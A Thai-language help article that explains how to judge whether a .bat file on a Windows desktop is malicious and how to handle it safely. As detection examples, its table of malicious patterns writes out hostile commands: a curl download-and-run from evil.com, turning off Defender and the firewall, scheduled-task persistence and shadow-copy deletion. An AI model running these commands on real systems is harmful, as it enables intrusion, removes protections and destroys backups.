Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

ไฟล์ .bat (Batch File) ปรากฏบน Desktop เป็นไอค่อน Network Security? อันตรายไหม? จัดการยังไง

ไฟล์ .bat (Batch File) คืออะไร?

.bat (Batch File) คือไฟล์ Script ของ Windows ที่เก็บคำสั่ง Command Prompt (cmd.exe) ไว้รันตามลำดับ ใช้สำหรับ Automation, Repetitive Tasks, System Administration ไฟล์นี้ ไม่ใช่วิรัสโดยลักษณะ แต่ อาจเป็น Malware หากมาจากแหล่งไม่เชื่อถือได้

ทำไมถึงมีไฟล์ .bat ปรากฏบน Desktop?

วิธีตรวจสอบว่าไฟล์ .bat ปลอดภัยหรือไม่

1. ดูเนื้อหาไฟล์ (Right-click → Edit / Open with Notepad)

@echo off
REM Comment line
ipconfig /flushdns
netsh winsock reset
netsh int ip reset
shutdown /r /t 0
  • อ่านคำสั่ง: เข้าใจไหม? ทำอะไร? (ipconfig, netsh, shutdown, powershell, curl, wget, bitsadmin, reg add, schtasks)
  • ดู URL/IP แปลกๆ: `curl https://evil.com/payload.exe`, `powershell -enc ...`
  • ดู Obfuscation: ตัวอักษรแปลก, Base64 Encoded, Variable แบบสุ่ม

2. ตรวจสอบ Properties

  • Right-click → Properties → Details / Digital Signatures
  • มี Digital Signature จากบริษัทที่เชื่อถือได้ไหม? (Microsoft, Vendor เนมเนม)
  • Date Created / Modified เมื่อไหร่? ตรงกับเวลาที่ติดตั้งโปรแกรมไหม?

3. สแกนด้วย Antivirus/EDR

  • Right-click → Scan with Windows Defender / Antivirus ที่ติดตั้ง
  • Upload ไป VirusTotal.com (สแกน 70+ Engine)
  • ใช้ Hybrid Analysis, Any.Run (Sandbox Analysis)

4. ตรวจสอบตำแหน่งไฟล์จริง (Shortcut vs Real File)

  • Right-click → Open File Location → ไฟล์จริงอยู่ที่ไหน?
  • Desktop จริง: `C:\Users\\Desktop\`
  • Public Desktop: `C:\Users\Public\Desktop\` (All Users)
  • Startup Folder: `shell:startup` หรือ `shell:common startup`

Windows Security Warning "These files might be harmful" - แก้ไขยังไง?

เตือนนี้ขึ้นเมื่อรัน .bat/.exe/.ps1 จาก Network Drive / UNC Path / Internet Zone ไม่ใช่ Local Disk

วิธีแก้ (สำหรับไฟล์ที่เชื่อถือได้เท่านั้น)

  1. Right-click ไฟล์ → Properties → แท็บ General
  2. ติ๊ก Unblock (ถ้ามี) → Apply → OK
  3. หรือ: รัน PowerShell Admin → Unblock-File -Path "C:\Path\file.bat"

ปรับ Internet Explorer/Edge Security Zones (Legacy)

  1. Win + R → `inetcpl.cpl` → Enter
  2. แท็บ Security → Local Intranet → Sites → Advanced
  3. Add IP/Hostname ของ File Server / NAS → Close → OK
  4. Custom Level → Launching applications and unsafe files → Enable (not secure) → OK → Yes

⚠️ คำเตือน: การตั้งค่านี้ลดความปลอดภัย ควรทำเฉพาะไฟล์/โฟลเดอร์ที่เชื่อถือได้ 100%

Batch File อันตรายทั่วไป (Malicious Patterns)

สาเหตุที่เป็นไปได้คำอธิบายระดับความเสี่ยง
Software Installationบางโปรแกรมสร้าง Shortcut/Script ไว้บน Desktop (เช่น VPN, Antivirus, Driver Updater)ต่ำ (ถ้าเป็นโปรแกรมที่ติดตั้งเอง)
Malware/Adwareดาวน์โหลดมาพร้อม Freeware, Crack, Keygen, Fake Installer → รันทำร้ายสูง
Phishing/Social Engineeringส่งมาทาง Email/Chat "Click to fix security" "Update driver" จริงๆ เป็น Malwareสูง
Legitimate Admin ScriptIT Admin/ผู้ดูแลระบบวางไว้สำหรับ User รัน (เช่น Map Drive, Printer Setup)ต่ำ (ถ้ามาจาก IT Dept)
User สร้างเองเขียน Script อัตโนมัติงาน (Backup, Cleanup, Network Config)ต่ำ

Best Practices จัดการ .bat File

  1. ไม่ดับเบิลคลิก .bat จากแหล่งไม่รู้จัก (Email, Download, USB, Chat)
  2. อ่านโค้ดก่อนรันทุกครั้ง (Right-click → Edit)
  3. เก็บ Script ของตัวเองในโฟลเดอร์เฉพาะ (เช่น `C:\Scripts\`) ไม่ใช่ Desktop
  4. ใช้ Code Signing Certificate ลงนาม Script สำคัญ
  5. ตั้งค่า Execution Policy PowerShell: `RemoteSigned` หรือ `AllSigned`
  6. ใช้ AppLocker / WDAC (Windows Defender Application Control) จำกัด Script ที่รันได้
  7. Backup ข้อมูลสำคัญ (3-2-1 Rule) เพื่อกู้คืนได้ถ้าโดน Ransomware

สรุป

ไฟล์ .bat บน Desktop → อ่านโค้ดก่อน (Right-click → Edit) → ตรวจสอบ Properties, Digital Signature → Scan VirusTotal → ถ้าไม่แน่ใจ ลบทิ้ง / Quarantine → รัน Antivirus Full Scan Windows Security Warning "might be harmful" = มาจาก Network/Internet Zone → Unblock ถ้าเชื่อถือได้ ไม่เชื่อถือ → ลบ

Patternตัวอย่างวัตถุประสงค์
Download & Executecurl -o malware.exe https://evil.com/payload.exe & start malware.exeDropper/Downloader
PowerShell Encoded Commandpowershell -enc JABjAGwAaQ... (Base64)Bypass AV, Obfuscation
Disable Defender/FirewallSet-MpPreference -DisableRealtimeMonitoring $true; netsh advfirewall set allprofiles state offDisable Protection
Persistence (Scheduled Task/Registry)schtasks /create /sc onlogon /tn "Update" /tr "malware.bat" /rl highestSurvive Reboot
Credential Theftmimikatz, laxss, sharpdpaapi commandsSteal Password/Token
Ransomwarecipher /w, vssadmin delete shadows, encrypt filesEncrypt Data
Crypto Minerxmrig.exe, config.json, pool addressMine Crypto